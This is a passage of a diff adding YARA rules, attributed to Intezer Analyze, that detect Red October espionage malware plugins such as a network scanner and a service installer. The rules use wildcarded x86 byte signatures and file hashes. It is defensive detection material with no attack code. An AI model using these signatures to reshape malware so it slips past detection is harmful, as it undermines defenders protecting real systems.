?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 6B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 }
+		$block_9 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "85ec69f1a08b30db4d30202d3a584bd33ea412ba46336b1b51fae7260e29f844" or
+		10 of them
+}
+
+rule RedOctoberPluginNetScan {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_2 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 0F B7 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_4 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_5 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_6 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_7 = { C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 86 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 8F }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_11 = { 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_15 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_16 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? ?? 0F 94 ?? 88 }
+		$block_20 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_23 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F BE ?? ?? 0F BE ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_25 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_26 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_27 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 73 }
+		$block_28 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 73 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 83 ?? ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 86 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_35 = { A1 ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_36 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F BE ?? 0F BE ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_38 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_39 = { A1 ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_40 = { 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_41 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_43 = { E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 0F 84 }
+		$block_44 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_46 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 73 }
+		$block_48 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_50 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 83 }
+		$block_51 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_52 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_54 = { 0F B7 ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_55 = { 8D ?? ?? E8 ?? ?? ?? ?? 0F BF ?? 0F BF ?? ?? 3B ?? 75 }
+		$block_56 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_57 = { 8B ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_58 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 85 }
+		$block_59 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_60 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_61 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_62 = { 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_63 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_64 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 87 }
+		$block_65 = { 8B ?? ?? 8B ?? ?? 8B ?? 3B ?? ?? ?? ?? ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_69 = { 8B ?? ?? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_70 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "4240d4239a0bdc43581dc73e875b03653ad40d1380fa12e0359305b38c13b474" or
+		12 of them
+}
+
+rule RedOctoberPluginDASvcInstall {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_3 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_6 = { 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
